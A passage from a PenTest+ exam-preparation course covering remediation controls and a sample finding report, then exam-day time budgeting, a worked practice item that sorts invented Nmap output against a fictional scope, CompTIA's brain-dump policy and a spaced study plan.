| Access control vestibule (physical) | Tester followed an employee through the server room door | Repeat the test: tester stopped between doors |
| Biometric controls (physical) | A lent or copied badge opened the server room | Badge alone refused |
| Video surveillance (physical) | Client cannot say afterward who entered the server room | Footage for a stated date can be produced |
Worked example: five findings and a tray of controls
A performance-based question (PBQ) on this objective could ask you to drag controls onto findings. This practice item, from a fictional hospital group, is in that style; CompTIA does not publish live items. The tray: Windows LAPS, parameterized queries, encryption, patch management, network segmentation, access control vestibule, video surveillance, job rotation, mandatory vacations. Some are left over.
| Finding | It depends on | Tempting choice, and why it fails | Best control | |
|---|---|---|---|---|
| A | An API joins request fields into its SQL; a filter added last quarter did not stop the flaw | SQL and data mixed in one string | Encryption: the application holds the key, so its queries still return readable rows | Parameterized queries |
| B | Same local administrator password on all 230 domain-joined laptops | One credential valid everywhere | Encryption: however it is stored, the same value works on all 230 | Windows LAPS |
| C | The imaging PC's operating system left vendor support in 2020; the maker forbids changes; every office network can reach it | No fix exists, and the path is open | Patch management: there is nothing to install | Network segmentation |
| D | A tester walked into the records room behind a staff member; the badge log shows only the staff member | A door that opens for one admits two | Video surveillance: it records the entry and stops nothing | Access control vestibule |
| E | A treasury officer has approved wire transfers for 11 years with no absence beyond a long weekend; nobody else has done the work | Nobody else ever sees the work | Job rotation: it would also expose the work, but the clue is absence, and two weeks away costs less than moving the role | Mandatory vacations |
None of the wrong choices is a bad control. Each answers a question the finding did not ask.
Second run: change one fact and the answer flips
| Change this fact | New best answer | Why it moved |
|---|---|---|
| B: the laptops are joined to neither Active Directory nor Microsoft Entra ID | Still unique passwords, from another tool that can store them | Windows LAPS backs up only to those directories and does not support Entra workplace-joined devices |
| C: the maker released a fix last month and permits it | Patch management | Now there is something to install; segmentation stays useful but no longer leads |
| D: the tester entered alone, using a lent or copied badge | Biometric controls with the badge | A vestibule admits one person holding a valid badge, so entry must be tied to the person |
| E: the duties are already split, between the same two people for 11 years | Job rotation | The remaining risk is collusion, the reason SP 800-53 suggests rotating dual-authorization duties |
Exam cues: which control the stem wants
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Same local administrator password on many machines | Windows LAPS: unique random passwords | A longer password, 90-day rotation or MFA |
| Query built from user input | Parameterized queries | A WAF, quote filtering or database encryption |
| Unexpected push prompts approved | Phishing-resistant MFA; number matching in the interim | SMS codes, or training alone |
| Secret found in a repository | Rotate or revoke first, then a secrets management solution | Deleting the file or rewriting history first |
| Certificates expire without warning | Certificate management | Key rotation, which tracks no expiry dates |
| Unsupported system, no vendor fix | Segmentation and a replacement plan | Patch management, which needs a patch |
| Noisy internal activity raised no alert | Infrastructure security controls, such as monitoring | System hardening, which adds no detection |
| Same flaw class returns every release | Secure SDLC, with process-level remediation | Fixing only the instances found |
| One person can both create and approve | Role-based access control with separation of duties | Mandatory vacations, which reveal but do not split |
| Employee never takes leave | Mandatory vacations | Job rotation, a scheduled change of duties |
| Account used at 03:00 with no business reason | Time-of-day restrictions | Role-based access control: what, not when |
| Followed someone through a controlled door | Access control vestibule | Cameras, which record; a biometric reader, which opens for the employee |
| Badge lent, stolen or copied | Biometric controls with the badge | A vestibule, which admits a valid badge |
How a remediation recommendation is reported
Here is F-01 after review. The shape comes from Lesson 28; the remediation now survives all three questions.
- Title: One local administrator password is valid on all 412 workstations, so one compromised machine exposes the rest.
- Severity: High, assigned rather than scored, because this is a control gap. Not Critical, because an attacker first needs administrator rights on one workstation.
- Evidence: E-03. With a client administrator present, the account's stored hash value matched on all 40 sampled workstations ([hash removed]). The build record shows one value set in the image.
- Root cause: the workstation build sets one password, and no process changes it afterward.
- Interim, within 14 days: restrict local accounts at network logon and limit workstation-to-workstation traffic, as CISA advises. This narrows the reach and leaves the shared password in place.
- Long-term fix, within 45 days: enable Windows LAPS everywhere, with password encryption on and read rights limited to a named support group. Pilot first: Microsoft warns that a LAPS policy can break a deployment workflow that signs in with the managed account.
- Stop it returning: remove the shared password from the build image. Owner: desktop engineering lead.
- Will not fix: staff who hold local administrator rights, and domain credentials; reported separately.
- Retest: sample 20 workstations. Expected: no two stored passwords match, rotation dates are recent, and the test workstation's local credential is refused on the others.
Three habits keep recommendations usable. Name the control first and a product second, and disclose it if your firm sells what you recommend. Offer something the client can do this month beside the best fix, and say what might break. If the client declines, record the risk acceptance rather than rewriting the finding (Lesson 27).
A retest is still testing. Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act and the UK Computer Misuse Act, so confirm that the authorization covers the retest dates.
Common misconceptions
- "A stronger password fixes any password finding." It does nothing for a password shared across machines. Uniqueness fixes that.
- "NIST says passwords should never be rotated." The rule stops organizations forcing people to change passwords on a calendar. Evidence of compromise still forces a change, and machine-generated credentials can rotate freely.
- "A WAF fixes SQL injection." It filters some traffic and leaves the code as it was.
- "Cameras prevent tailgating." They record it. An access control vestibule prevents it.
Summing up
- A fix fits only if replaying the finding with the fix in place stops it, and a named retest result proves that.
- A shared local administrator password needs uniqueness, not length or rotation. Windows LAPS, in Windows since the April 11, 2023 updates, needs Active Directory or Microsoft Entra ID and replaces deprecated legacy Microsoft LAPS.
- NIST SP 800-63B-4: 15 characters minimum for a single-factor password, 8 only with MFA, a required blocklist check, no composition rules, and no periodic changes except on evidence of compromise.
- Stored passwords get a salted, slow hash; encryption is for data that must be read again. Parameterized queries fix SQL injection; allow-list validation supports them, and a WAF is an interim virtual patch.
- CISA calls phishing-resistant MFA (FIDO/WebAuthn or PKI-based) the gold standard, and number matching an interim step against push fatigue.
- Rotate or revoke an exposed key first, then use a secrets management solution. Public TLS certificates are limited to 200 days now, 100 from March 15, 2027 and 47 from March 15, 2029.
- With no patch, isolate and state the residual risk. A VLAN needs filtering rules to count as segmentation. Filtered passes a segmentation retest but not a hardening retest.
- A vestibule stops following, a biometric ties entry to a person, video records for later review. Role-based access control splits duties, mandatory vacations reveal concealment, job rotation counters collusion, and time-of-day restrictions limit when an account works.
Sources
- Temoshok, D., Fenton, J., et al. (2025). Digital identity guidelines: Authentication and authenticator management (NIST SP 800-63B-4), sections 3.1.1, 3.1.3, 3.2.3 and Appendix A. National Institute of Standards and Technology. pages.nist.gov
- National Security Agency and Cybersecurity and Infrastructure Security Agency. (2023). NSA and CISA red and blue teams share top ten cybersecurity misconfigurations (AA23-278A). cisa.gov; CISA. (2022). Implementing phishing-resistant MFA and Implementing number matching in MFA applications. phishing-resistant MFA (PDF); number matching (PDF); CISA and Federal Bureau of Investigation. (2024). Secure by Design alert: Eliminating SQL injection vulnerabilities in software. cisa.gov
- Microsoft. (2026). What is Windows LAPS? and (2025) Windows LAPS architecture. Microsoft Learn. overview; architecture; and (n.d.) Network security: Force logoff when logon hours expire.
- OWASP Foundation. (n.d.). OWASP cheat sheet series: SQL injection prevention, input validation, password storage, virtual patching, and secrets management. cheatsheetseries.owasp.org; and Reporting structure, in Web Security Testing Guide (development branch, read 3 November 2026). github.com/OWASP/wstg
- Joint Task Force. (2020). Security and privacy controls for information systems and organizations (SP 800-53 Rev. 5), AC-2, AC-3(2), AC-3(7), AC-5, CM-7, PE-3(8), PE-6(3), PS-5 and errata. csrc.nist.gov; Souppaya, M., and Scarfone, K. (2022). Guide to enterprise patch management planning (SP 800-40 Rev. 4), sections 3.3 and 3.5.4. csrc.nist.gov; Souppaya, M., et al. (2022). Secure software development framework version 1.1 (SP 800-218); Barker, E. (2020). Recommendation for key management: Part 1 (SP 800-57 Part 1 Rev. 5); Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (SP 800-115), sections 7.3 and 8.1. nvlpubs.nist.gov (PDF). All National Institute of Standards and Technology.
- CA/Browser Forum. (2026). Baseline requirements for the issuance and management of publicly-trusted TLS server certificates (version 2.3.1), section 6.3.2. cabforum.org
- GitHub. (n.d.). Removing sensitive data from a repository. GitHub Docs. docs.github.com
- Federal Deposit Insurance Corporation. (1995, August 3). FDIC's position on the role of vacation policy as an important internal safeguard (FIL-52-95). fdic.gov
- The PTES Team. (n.d.). Reporting. In Penetration Testing Execution Standard (unofficial mirror). pentest-standard.readthedocs.io
- Key terms
- Windows LAPS
- Windows Local Administrator Password Solution, a feature built into Windows that gives each device a unique random local administrator password, rotates it and backs it up to Active Directory or Microsoft Entra ID.
- Prepared statement
- A database call whose SQL text is fixed in advance, with user values bound separately so they are treated as data rather than code; also called a parameterized query.
- Process-level remediation
- Changing the workflow step that let a flaw through, such as a build image or a pipeline check, so the flaw cannot recur. CompTIA lists the term as a technical control without defining it.
- Compensating control
- A measure that lowers risk when the direct fix cannot be applied, such as isolating an unsupported system. The weakness remains, so the residual risk must be stated and accepted.
- Secrets management
- Centralized storage, provisioning, auditing and rotation of credentials such as API keys and database passwords, so that they do not sit in code or configuration files.
- Key rotation
- Replacing a cryptographic key with a new one and retiring the old, at the end of its authorized lifetime (its cryptoperiod) or at once after suspected exposure.
- Phishing-resistant MFA
- Multifactor authentication built to withstand phishing and push bombing, chiefly FIDO/WebAuthn and PKI-based methods; CISA calls it the gold standard.
- Access control vestibule
- A space between two sets of interlocking doors, designed to stop unauthorized people following authorized ones into a facility; formerly called a mantrap.
- Separation of duties
- Dividing a business function among different people or roles so that no one person can complete a sensitive action alone.
- Mandatory vacation
- A rule that staff in sensitive roles take a long uninterrupted absence, commonly two weeks, while someone else does their work, so that concealed activity can surface.
Module 10: Exam Readiness
Bring the whole course together for the exam: tactics for performance-based questions, a time plan for 90 questions in 165 minutes, and a last review driven by your own tracker and the questions you missed.
Exam Day: Performance-Based Questions, Time, and the Last Review
- Budget the 165 minutes across multiple-choice items, simulations, a return visit and a last look, and show the arithmetic.
- Work a simulation PBQ using only what CompTIA publishes about it: the Reset button, skipping and returning, saved work, partial credit and more than one valid solution.
- Sort scan evidence against a signed scope, and explain how one changed detail changes the decision.
- Build a final study plan from the domain weights, your objective tracker and spaced retrieval, and explain why brain dumps have no place in it.
Minute 41, question 6, and a half-finished simulation
It is minute 41 of 165. You have answered five of the 90 questions, and the sixth is a simulation: an extract from a client's rules of engagement (ROE), a block of Nmap output and an empty sorting grid. You have been on it for nine minutes. Four rows are filled and two are not. Do you stay and finish, or leave?
Count before you decide. Minutes left: 165 - 41 = 124. Questions left, counting this one: 85. That is 124 / 85 = 1.46 minutes each, about 1 minute 28 seconds, so nothing is lost yet. Stay 15 more minutes and the sum becomes 109 minutes for 84 questions, about 1 minute 18 seconds each, with no slack for any other simulation or for checking your work. Leaving costs far less than it feels like it does, because CompTIA says a simulation saves your work when you move on and lets you come back.[3] So the choice is between now and later, and the right call is later.
That scene is invented. CompTIA's objectives and PBQ pages do not say how many performance-based questions an exam holds, where they fall or what they ask.[1][3] Nothing in this lesson reconstructs a real exam item. The lesson works the three problems the scene raises: how to split the clock, how to work a simulation and leave it safely, and how to spend your last weeks of study. No course can promise you a pass, and this one does not, but it can remove avoidable losses.
Exam objectives: no new objective. The lesson reviews all five domains, 1.0 to 5.0, through the exam's two question types, multiple-choice and performance-based, and uses the 750 passing score on the 100-900 scale that Lesson 1 introduced.[2]
Why 1 minute 50 seconds is the wrong budget
The exam allows at most 90 questions in 165 minutes, which Lesson 1 worked out as about 1.83 minutes, or 1 minute 50 seconds, per question.[2] Spend exactly that on everything and the plan breaks twice. A simulation that needs six decisions is unlikely to fit into 110 seconds, so each one runs over. And a plan that spends the whole average has no minutes left to come back with. The repair is to budget three buckets instead of one pace.
The exam 165 minutes, at most 90 questions
Average 165 / 90 = 1.83 minutes, about 1 min 50 s
Three buckets
First pass 90 x 1.5 minutes = 135 minutes every question, once
Return visit 15 minutes unfinished simulations
Last look 15 minutes doubtful items, any blanks
Check 135 + 15 + 15 = 165
Inside the first pass, if 84 were multiple-choice and 6 were simulations
Multiple-choice 84 x 1.25 minutes (75 s) = 105 minutes
Simulations 6 x 5 minutes = 30 minutes
Total 135 minutes
Checkpoints minute 45: question 30
minute 90: question 60
minute 135: question 90
Holding back 30 of the 165 minutes forces the first pass down to 1.5 minutes a question, 20 seconds under the average. Those seconds pay for coming back: 90 x 20 s = 1,800 s = 30 minutes. Inside the pass, a multiple-choice item gets 75 seconds and a simulation gets five minutes at first meeting. The checkpoints are the only part to memorize: 30 questions every 45 minutes.
The 6 in that block is a planning number, not a fact about the exam, so test the plan against several:
| If the exam held this many simulations | Multiple-choice items (90 minus simulations) | Their minutes at 75 s each | Simulation minutes at 5 each | First pass total | Left for return visit and last look (165 minus first pass) |
|---|---|---|---|---|---|
| 3 | 87 | 108.75 | 15 | 123.75 | 41.25 |
| 6 | 84 | 105 | 30 | 135 | 30 |
| 9 | 81 | 101.25 | 45 | 146.25 | 18.75 |
| 12 | 78 | 97.5 | 60 | 157.5 | 7.5 |
These rows are arithmetic, not a forecast. Five minutes per simulation survives a wide range and starts to hurt only in the bottom row, where a cap of about four minutes would restore most of the reserve. You do not need the true number in advance: when the first pass ends you have met every simulation, so divide the minutes left by the simulations still unfinished. And 90 is a maximum, so a shorter exam only loosens the plan.
Now change one input. Suppose your timed practice shows 95 seconds per multiple-choice item, not 75. At 84 items that is 84 x 95 s = 7,980 s = 133 minutes. Add 30 for simulations and the first pass ends at minute 163, with 2 minutes left. Twenty extra seconds per item cost 28 minutes, almost twice the opening scene's extra 15 minutes on one simulation. Your multiple-choice pace is the largest line in the budget, so measure it and use your own number: minutes left = 165 - (multiple-choice items x pace) - (simulations x cap).
Key idea: budget three buckets, not one pace. Hold 30 questions every 45 minutes through the first pass, then spend the remaining 30 minutes on unfinished simulations and doubtful items.
What CompTIA says a simulation is, and what to do about it
CompTIA's explainer divides performance-based questions (PBQs) into simulations, which approximate a tool or environment such as a firewall, a network diagram, a terminal window or an operating system, and virtual environments, which run real systems. It lists PenTest+ among the exams with simulation PBQs; only SecurityX is listed with both kinds.[3]
| What CompTIA publishes | What you do with it |
|---|---|
| A simulation covers the whole testing area and has a Reset button.[3] | That is how you recognize one |
| You can skip it and return. Work is saved as you go and when you press Next or Previous.[3] | Never stay out of fear of losing work. Enter what you have and move |
| Reset clears that question only, and removes all your work on it.[3] | Reset is not an undo. If four of six entries are right, fix the other two by hand |
| The question and instructions are always available: the window can be minimized, moved and resized, and a show question button brings it back.[3] | Move the window off the exhibit, and reread the task before you leave |
| Simulations typically have restricted functionality but allow several responses or paths.[3] | If an option you expected is missing, use what is offered |
| There may be more than one way to a correct answer, and the correct solution earns the score.[3] | Do not hunt for one intended route. Any path that reaches the right result will do |
| Some PBQs may offer partial credit, some may carry more points, and the details are confidential.[3] | You cannot tell which is which, so fill every field of every simulation |
The same PBQ page has a Try a simulation PBQ button leading to a sample that CompTIA says is not from any exam.[3] Spend ten minutes on it before exam day, pressing Reset, Next and show question until the buttons cost you no thought. None of the CompTIA pages this course read mentions a penalty for a wrong answer.[3][4] A blank cannot earn credit, so leave no field empty and no multiple-choice item unanswered.
Five moves for working any simulation
A routine saves you from deciding what to do first while the clock runs. The order is deliberate.
- Ask. Find the sentence that says what to produce, and how many of what, so you read the exhibits knowing what you are looking for.
- Limits. Read the scope, the ROE and any word such as only, first or without. A perfect reading of a host you may not touch is still wrong.
- Evidence. Read the details rather than the tool's name: the state column, the version string, the source and destination. Ask the question from Lesson 12: how does the tool know?
- Sure rows. Enter what you are certain of first. Those entries bank whatever credit exists and make the hard rows easier to eliminate.
- Exit. At five minutes, put your best judgment in every empty field, note the question number and press Next. On the return visit, read the task again and correct by hand.
Worked simulation: sorting Nmap lines against a signed scope
Here is a task in that style, built from this course's own material. The client and every line are invented, and the sorting grid is this course's choice of format, not a copy or a prediction of any exam item. Give yourself five minutes before you read the solution.
EXHIBIT 1: Rules of engagement, extract
Client Fernhollow Clinic (fictional)
Signed by Chief information officer, valid 2-6 November 2026
In scope 198.51.100.0/25
Excluded 198.51.100.40 (imaging server, vendor-managed)
Window 20:00-02:00 clinic time
Allowed discovery, enumeration, version detection, safe scripts
Needs written approval first exploitation; anything that could stop a service
EXHIBIT 2: Last night's saved scan results (sample output, invented)
Nmap scan report for 198.51.100.17
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (protocol 2.0)
23/tcp open telnet Linux telnetd
443/tcp open ssl/http nginx 1.24.0
3389/tcp filtered ms-wbt-server
Nmap scan report for 198.51.100.25
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
|_ [later dialects removed]
Nmap scan report for 198.51.100.130
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx 1.18.0
| ssl-cert: Subject: commonName=portal.example.com
|_Not valid after: 2026-03-02T23:59:59
EXHIBIT 3: Notes
Scanner note, 198.51.100.17 port 22: installed OpenSSH is older than the fixed
upstream release; possible vulnerability. Detection method: version string.
Teammate's plan: add 198.51.100.40 to tonight's targets, since the range covers it.
Your task: sort each line into exactly one column: Report as a finding, Validate before reporting, Record as a limitation, or Outside the authorization.
- A. 198.51.100.17: 23/tcp open telnet
- B. 198.51.100.17: 3389/tcp filtered
- C. 198.51.100.17: the scanner note on OpenSSH
- D. 198.51.100.25: smb-protocols lists SMBv1
- E. 198.51.100.130: certificate on 443/tcp expired on 2 March 2026
- F. The teammate's plan to add 198.51.100.40
Work the moves. Ask: six lines, one column each. Limits: a /25 fixes the first 25 of 32 bits and leaves 7, so it holds 27 = 128 addresses, 198.51.100.0 to 198.51.100.127, and one address inside it, .40, is excluded by name. Sure rows: E and F fall out at once from the limits, and B from the state column. Evidence: for what remains, ask how the tool knows. Exit: reread the task and check that six lines have six entries.
| Line | Column | Why | The tempting mistake |
|---|---|---|---|
| A | Report as a finding | An in-scope host offers a cleartext remote login. The claim rests on the service being there, not on a version number | Validate first, though nothing here depends on a version |
| B | Record as a limitation | Filtered means packet filtering stopped the probes, so Nmap cannot determine whether the port is open.[6] | "Remote Desktop exposed" or "closed": both claim knowledge the scan did not produce |
| C | Validate before reporting | The scanner compared a number in a string. Compare the installed package with the vendor's fixed version | Reporting it at the scanner's severity |
| D | Report as a finding | The script watched the server offer SMBv1 during negotiation, so the behavior itself was observed | Validate first, because a script reported it |
| E | Outside the authorization | .130 is past .127. The scan touched a host the signature does not cover: stop using that target list, save the logs and call the named contact, as Lesson 27 teaches | Writing it up as a finding because the evidence looks good |
| F | Outside the authorization | .40 is inside the range and excluded by name. An exclusion beats a range, so decline the plan | "The /25 covers it" |
Lines C and D look alike and land in different columns, which is the reason to do this exercise. D's evidence is behavior the tool saw: smb-protocols attempts to list the dialects a server supports, and like ssl-cert it sits in Nmap's safe category, so the ROE allows it.[6] C's evidence is a version string, which can stay old after a fix because vendors back-port patches; Red Hat warns that a package's version number alone will not tell you whether it is vulnerable.[7]
Line A ends in a report, so finish the job in the form Module 9 taught.
- Title: Telnet enabled on 198.51.100.17.
- Severity: High. Logins and session data on this service would cross the clinic's network in clear text. It is not rated Critical because capture needs a position on the network path, and no capture or login was attempted.
- Evidence: the saved scan file, with date, time and source address, showing
23/tcp open telnet Linux telnetd. - Root cause: a legacy remote-access service left enabled, with no build check that would catch it; confirm with the server team.
- Remediation: disable Telnet, use SSH, and add the check to the build baseline. Retest by rescanning port 23 and expect closed: filtered would show only a firewall in front of it, which passes a segmentation retest but not a hardening one.
Second run: one digit in a CIDR range flips line E
Change one character in Exhibit 1: 198.51.100.0/25 becomes 198.51.100.0/24. CIDR arithmetic now leaves 8 host bits, 28 = 256 addresses, .0 to .255, and .130 is inside. Line E has not changed a letter, yet its decision reverses. Under /25 it is a touch outside the authorization, and you stop and call. Under /24 it is an ordinary finding: a certificate that expired on 2 March 2026 on an in-scope service.
Line F does not move. Its address was already inside the range, and the exclusion is a separate line that /24 leaves untouched. One caution: this run assumes the ROE said /24 before the scan. An amendment signed after the scan authorizes the next scan, and the earlier touch still gets disclosed.
Single details flip other lines the same way. Use this table as a drill: cover the last two columns and predict them.
| Change one detail | Line | New decision | Why |
|---|---|---|---|
| 3389/tcp filtered becomes closed | B | No entry needed | A reset is a definite reply: the host is reachable and nothing listens, so no unknown remains |
| The client's package list shows the vendor's fixed build installed | C | Close it as a false positive, with a note | The fix was back-ported, and only the version string looked old |
| The same list shows a build older than the vendor's fix | C | Report as a finding | A true positive, confirmed by a different method from the one that raised it |
Key idea: the same line of output can belong in different columns, depending on a detail elsewhere on the screen. Read the limits before the evidence, and ask how the tool knows before you trust a line.
Reading a multiple-choice stem with the same habits
A multiple-choice item has no Reset button, and the same questions settle it. Ask them in order, because an early answer can end the question. Is it authorized? Is anyone or anything in danger? Is the evidence validated? What is the least intrusive step that answers the question? Who will read the result? Stem words help too. First and next ask about order, so find what must happen before the impressive step. Best and most likely admit that several options could work, so let the constraints choose.
Try one, written for this course. During cleanup on a fictional client's server, a tester finds a scheduled task named svc_update. What should the tester do next? (A) Delete it, since cleanup leaves the host as it was found. (B) Export it, delete it and mention it in the report. (C) Check the activity log, and if the task is not on the record, leave it in place and escalate. (D) Run it once to see what it does.
A and B sound tidy, and D sounds curious. The authorization question rules out all three: your cleanup authority covers what you placed, and nothing yet shows that you placed this. Lesson 26's rule applies: something not on your record means stop, leave it, escalate, save and hash your logs, and hold destruction, because it may be another party's work and it may be evidence. So the choice is C. Now change one detail: the stem adds that the task appears in the tester's own log, with its creation time. The log settles ownership, and removing it, then verifying and recording the removal, becomes correct.
Pairs to separate in your last review
Each pair was taught, with its sources, in the lesson that covers it. This is a list of distinctions to retrieve, not a list of exam content. Cover the middle column, read the stem wording, and say the term before you look.
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Standing legal terms for future work | MSA (master service agreement) | SoW (statement of work), this project's tasks |
| Something restricted what could be tested | Limitation | Assumption, something taken on trust without checking |
| Which addresses are alive, with no port scan? | -sn | -Pn, which skips discovery and scans ports anyway |
| SYN answered by RST | closed | filtered, which means silence or ICMP unreachable |
| Find pages nothing links to | Directory enumeration with a wordlist | Web crawling, which follows links |
| Reported, but absent on checking | False positive | False negative: present but never reported |
| Reads code without running it | SAST (static application security testing) | DAST (dynamic application security testing), which needs a running application |
| Names one specific flaw | CVE (Common Vulnerabilities and Exposures) | CWE (Common Weakness Enumeration), the class of mistake |
| Probability of exploitation in the next 30 days | EPSS (Exploit Prediction Scoring System) | CVSS (Common Vulnerability Scoring System) base score, which measures severity |
| Read-only audit of a cloud account | Prowler, ScoutSuite | Pacu, which exploits |
| The server calculated the input before any browser saw it | Server-side template injection | Cross-site scripting, which runs in the browser |
| The target connects out to the tester | Reverse shell | Bind shell: the target listens and the tester connects in |
| A setting holds a third value, neither yours nor the original | Someone else changed it, so ask | Reverting it, which is right only for your own change |
Brain dumps: the shortcut that can cost every certification you hold
Page 2 of the PT0-003 objectives document carries a policy paragraph. CompTIA says there that people who use unauthorized third-party training sites, which it also calls brain dumps, to prepare for any CompTIA exam "will have their certifications revoked and be suspended from future testing".[1] Read the plural: the sanction is not limited to the exam in front of you. CompTIA's FAQ adds that there could be legal consequences.[5]
CompTIA's blog says dumps come from test takers pooling their memories of questions, and it names two warning signs: a site that calls itself a brain dump and a site that promotes "actual exam questions".[5] CompTIA also says that contributing to one carries the same consequences as using one. It adds that most of the content is wrong, and that it can use data forensics to identify candidates with prior knowledge of an exam.[5]
The rule aside, a dump would not train what you have just practiced. Memorizing a key teaches you one screen, and line E shows why that fails: change one digit and the memorized entry is wrong.
Your own notes, study groups, videos and open forums are fine, CompTIA's FAQ says, as long as nothing posts or shares real exam questions or answers.[5] If you are unsure about a resource, use CompTIA's Training Resource Review Tool or write to examsecurity@comptia.org.[5] If you realize you have already used a dump, stop and contact that team; the FAQ says you will have a chance to explain.[5] After your exam you still may not discuss, post or share what you saw.[4] Every question in this course was written for the course, as Lesson 1 says.
Your tracker, the five weights, and where the hours go
Everything from here runs on the tracker from Lesson 1's lab. If you skipped that lab, build it now, on paper or in a spreadsheet; it takes about half an hour. It has one row for each of the 26 objectives, 1.1 to 5.4. The columns are:
- the topics in your own words
- the lessons that teach it
- the domain weight
- your confidence from 1 to 5
- your first quiz score
- your score a week later
- notes
Mark the 18 rows that begin "Given a scenario".[1]
Keep all 26 rows, because the exam's blueprint does not shrink to fit your study. If a row has no lesson beside it, or a lesson you skipped, rate it 1 and start it from the objectives document.
CompTIA publishes five domain weights, shown in the first column below.[1] A weight tells you how many points a domain holds: 35 percent of 90 is 31.5 questions, though that is arithmetic and not a count for your exam. But weight alone answers the wrong question, because your last weeks should go where most of those points are still missing. So multiply each weight by your gap, where gap means the share of delayed, mixed questions you still miss. Here is Sam, a fictional learner with 40 study hours left. Take Domain 5: 14 x 0.50 = 7.00, and 7.00 / 32.15 x 40 = 8.7 hours.
| Domain and weight | Delayed score | Gap | Weight x gap | Hours by weight alone | Hours by weight x gap |
|---|---|---|---|---|---|
| 1.0 Engagement Management, 13% | 80% | 0.20 | 2.60 | 5.2 | 3.2 |
| 2.0 Reconnaissance and Enumeration, 21% | 75% | 0.25 | 5.25 | 8.4 | 6.5 |
| 3.0 Vulnerability Discovery and Analysis, 17% | 60% | 0.40 | 6.80 | 6.8 | 8.5 |
| 4.0 Attacks and Exploits, 35% | 70% | 0.30 | 10.50 | 14.0 | 13.1 |
| 5.0 Post-exploitation and Lateral Movement, 14% | 50% | 0.50 | 7.00 | 5.6 | 8.7 |
| Total, 100% | 32.15 | 40.0 | 40.0 |
Domains 3 and 5 gain hours from the others because Sam has more left to win there. Now change one input. Sam's Domain 4 score rises from 70 to 90 percent. Its weight x gap falls from 10.50 to 3.50, the total falls to 25.15, and the hours for Domains 1 to 5 become 4.1, 8.3, 10.8, 5.6 and 11.1. The largest domain on the exam drops to fourth place in Sam's calendar, which is correct, because most of its points are now in hand. It still keeps 5.6 hours, because points you stop revisiting fade.
Treat these numbers with suspicion in two ways. A ten-item quiz is thin evidence, since one question moves the score by ten points, so pool several sets before you move hours. And a retake of the same items partly measures your memory of those items, so rely on mixed sets, and on explaining why each wrong option is wrong. The sum is a planning device: no one publishes a way to turn a practice score into a scaled score.
Key idea: weight counts the points a domain holds, and your gap counts the ones you lack. Spend the last weeks on weight x gap, and keep every domain in rotation.
Spacing the last four weeks
Why not cram in the final week? Dunlosky and colleagues' 2013 review rated practice testing and distributed practice as high utility, and rereading and highlighting as low.[8] The first is often called the testing effect, and the second is the basis of spaced repetition. The forgetting curve is the background: the amount you lose per unit of time shrinks as time passes, so memory falls quickly at first and then more slowly.[9]
How far apart should reviews be? Nicholas Cepeda and colleagues taught more than 1,350 people 32 obscure but true facts, gave a review after a gap of up to 3.5 months, and tested recall up to a year after that.[9]
The best gap grew with the distance to the test: about 3 days when the test came 7 days after the review, about 8 days for 35, about 12 for 70 and about 27 for 350.[9] At the 35-day delay, the best gap improved recall by 59 percent over no gap at all.[9]
Those were trivia facts and one review, not technical judgment, so use the figures as a guide to scale. For an exam a month away they point to revisiting each topic about weekly, tightening to every two or three days in the last week. The schedule below is this course's own design, shaped by that evidence and not itself tested.
| When | Retrieval work | Timed practice | Tracker |
|---|---|---|---|
| Days 28-22 | Closed-book pass over every domain: one quiz for each row you have not touched in a week | 20 mixed items at 75 s each, 25 minutes, to measure your own pace | Enter delayed scores, compute weight x gap, set the hours |
| Days 21-15 | Weakest rows first: blank page, then the lesson, then its quiz. Retake last week's misses | Rework two labs or worked examples with a five-minute cap | Rescore and move hours |
| Days 14-8 | Mixed sets of 20 items split 3, 4, 3, 7, 3, and the course's final exam, which uses that split | 28 items plus two five-minute tasks in 45 minutes; then one full first pass, 135 minutes with no break | Sort your misses: did not know, misread a limit, ran out of time |
| Days 7-2 | Short closed-book sessions every two or three days, on your misses and the pairs table | The 45-minute block once more | No new resources; bookkeeping only |
| Day before | The pairs table once, then logistics, then stop early | None | Done |
The split is 20 items x 13, 21, 17, 35 and 14 percent = 2.6, 4.2, 3.4, 7.0 and 2.8, rounded. The 45-minute block keeps the plan's ratio: 28 x 75 s = 35 minutes, plus 2 x 5 = 10 minutes. In every session, retrieve before you read: write what you remember of a row on a blank page, then open the lesson, then take the quiz.
When should you book? These are this course's signs, not a formula:
- every row has a delayed score, taken a week or more after you last studied it
- the 45-minute block fits, twice
- you can sort a fresh scan against a fresh scope inside five minutes
- your misses have moved from "did not know" to slips you can name
None of these signs predicts a score, and CompTIA's exam development page says it gives no guarantee of a pass even to candidates who use its official training.[4]

The original uploader was Icez at English Wikipedia . - Public domain - Wikimedia Commons

Zirguezi - CC0 - Wikimedia Commons
The day itself: rules that change the plan
Several rules touch the time plan, as CompTIA published them on 3 November 2026.
| The rule | What it changes |
|---|---|
| One session with no scheduled breaks, at a test center or online, and online proctors cannot pause the exam or add time.[4] | The clock keeps running. Go beforehand, and rehearse one full sitting |
| Online: no physical notes, but you may use the built-in digital whiteboard.[4] | Write the three checkpoints there when you start, and list the question numbers you owe a return visit. Use a mark-for-review control if your screen has one |
| Online: check-in opens 30 minutes before, and more than 15 minutes late you cannot test. Run the OnVUE system test on the same device and network, with no corporate network or VPN.[4] | Run the system test days ahead, and start check-in when it opens |
| Online: do not read questions aloud, stay in webcam view, and keep your eyes on the screen.[4] | If you murmur or look away when you think, train it out during timed practice |
| Test center: you are photographed, and since 2 November 2026 you may bring one clear, colorless plastic bottle of water, up to 750 mL, with no labels.[4] | Read the bottle rules first; a bottle that fails them stays in a locker |
| English as a second language: 30 extra minutes for English delivery in non-English-speaking countries where no local version exists. Other accommodations need Pearson VUE approval before you schedule.[4] | If eligible, rerun the budget with 195 minutes |
These pages change: the water bottle rule took effect the day before this lesson was checked. In your last week, reread CompTIA's candidate testing policies and, if you test online, its online-proctored exam guidelines. The ID rules, and the rules for candidates under 18, are in Lesson 1.

